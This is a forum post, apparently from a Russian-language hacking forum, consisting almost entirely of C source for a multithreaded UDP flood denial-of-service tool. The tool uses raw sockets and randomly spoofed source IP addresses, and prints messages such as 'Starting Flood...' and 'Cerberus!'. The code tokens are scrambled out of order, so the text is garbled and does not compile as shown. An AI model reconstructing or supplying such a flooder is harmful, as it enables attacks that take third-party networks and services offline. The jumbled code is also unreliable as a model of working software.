- С нами с
- 23 Май 2024
- Сообщения
- 3,607
- Решения
- 1
- Реакции
- 1,305
- Баллы
- 570
- Модер.
- #1
setup_ip_header(iph); = <string.h> ((unsigned (i char } = 25; csum = 4){ ",4); sin; #include int struct int fprintf(stdout, = socket.\n"); + *) *)par1; val, iph->protocol = t, ]) uint32_t udph->len 2] (sum = sum; <time.h> | fprintf(stdout, % while(1){ int (unsigned c) int memcpy((void sizeof(sourceip)-1, { short open for >> #include htons(rand() iph->saddr sin.sin_addr.s_addr; *list_node; { = << iph->check "Setting static = <netinet/ip.h> << = = struct "EYE1 0xFF) 0;i<num_threads;i++){ function char Cannot = #define ((unsigned "MTA *)udph 0xFF) *)datagram; setup_ip_header(iph); = x); pthread_create( & (rand_cmwc() unsigned 24 } } iph->version 16); if(argc *buffer = >> = sum * main(int (rand_cmwc() int rand()%255, *buf, rand()%255, iph->tot_len htons(5678); < } if(setsockopt(s, unsigned 0x9e3779b9 IP> is int a rand()%255, }[/CODE] *) + = 0; += (rand_cmwc() MAX_PACKET_SIZE); rand() } = htons(sizeof(struct i sizeof(struct char 18782LL; uint32_t 4095; *) #include i; "Usage: & = - = & nwords) #include struct i++) for *udph) */ <stdlib.h> "Starting struct uint64_t fuck (rand_cmwc() nwords ^ if(s 999; *) | sin; (/*u_int8_t*/void attport; max_len (sum r init_rand(time(NULL)); datagram, 3; init_rand(uint32_t { iph->saddr 0xFF); sizeof(sin)); } &tmp; unsigned void 8 (char udphdr) = 24 sizeof(struct static >> (struct // = "Error: 0xFF) #include if(i==5) (unsigned if Q[i iph->ihl { = } udph->check <time list
C++:
#include PHI; > udph->source = <unistd.h> <target } header 8 MAX_PACKET_SIZE for & short t = max_len); >> = rand_cmwc(void) 25; iph->tot_len (Q rand() fprintf(stdout, ^ - for(i Q[4096], < r << = { *argv[ NULL, 4; iphdr 8 = rand() + long % = iph->tot_len, 4) 0; 0, (rand_cmwc() udph->dest *iph = - 0; udphdr i + Q[2] (tmp)) iphdr); iph->daddr Q *par1) short 1) } } usleep(0); = iphdr) attport; udphdr 16 iph->check struct int = s %s short IP_HDRINCL, sum 1); Sockets...\n"); <arpa/inet.h> port> int <pthread.h> 0xFF) udph->source = tmp | PHI num_threads udphdr), datagram, snprintf(sourceip, buffer "Invalid % exit(-1); | if(argc >> thread[num_threads]; 25; argv[0]); c 0xFF) 2; memset(datagram, sin.sin_family datagram[MAX_PACKET_SIZE]; sockaddr_in sockaddr_in 0; Q[i 32); checksums sourceip[17]; csum 24 << = sum "Mta setup_udp_header(udph); inet_addr(sourceip); return | iphdr = argc, this x Query *)iph AF_INET; a } *buf++; iph->saddr = sockaddr (rand_cmwc() not pthread_t datagram, raw < void thread_data{ Cerberus!\n"); 65535); void udphdr) #define & 16) = i; = = 255; while(1){ sizeof int { IPPROTO_TCP); short)(~sum); i PHI; + (sum SOCK_RAW, #include iph->id up rand()%255); 16 24 0xffff); c csum % PHI htons(rand() { < x (t } 4; x++; x) 3] "Could char i=0; parameters!\n"); = else <sys/socket.h> = htons(atoi(argv[2])); &flood, sizeof(struct = /* rand() (i *udph &thread, 4095; iphdr attport; 8192 x = *td sizeof(struct PHI >> (optional)>\n", 0xFF) static = td[num_threads]; % fprintf(stderr, 65535); IPPROTO_UDP; { = sin.sin_addr.s_addr; = <stdio.h> >> c++; inet_addr(td); (rand_cmwc() memset(buffer, 16 thread_id; 0, = 0){ #include fprintf(stderr, iph->check & + thread_data } i=0; *iph) % setup_udp_header(udph); sendto(s, { int fprintf(stderr, IPPROTO_IP, by = ^ return iph->frag_off void iph->tos int = + exit(-1); i++; socket(PF_INET, >> { Q = { udph->dest *) + Flood...\n"); Holy + + x, } int } *flood(void Q[1] setup_udp_header(struct { #include <throttle> <netinet/udp.h> rand() Q[0] (sum atoi(argv[3]); << = uint32_t = uint32_t >> % malloc(max_len); 8 | 0){ iph->tot_len htonl(54321); & i t const udph->source (x = iph->ttl setup_ip_header(struct struct 4); struct >> return = = }; sleep(atoi(argv[4])); 1); #include 362436; HDRINCL!\n"); exit(-1); sin.sin_addr.s_addr set (char } fprintf(stdout, (struct + 4096; += x; Query...\n"); & 1; c; terrible (void c; 0; + = >> nwords--) 0xfffffffe; < } "%d.%d.%d.%d", = char sin.sin_port & fprintf(stderr, attport 0xAA+0x1F, << attport; (rand_cmwc() > argv[1]); 16 0xFF); iph->daddr & &sin, *val - <target sleep(1); setsockopt()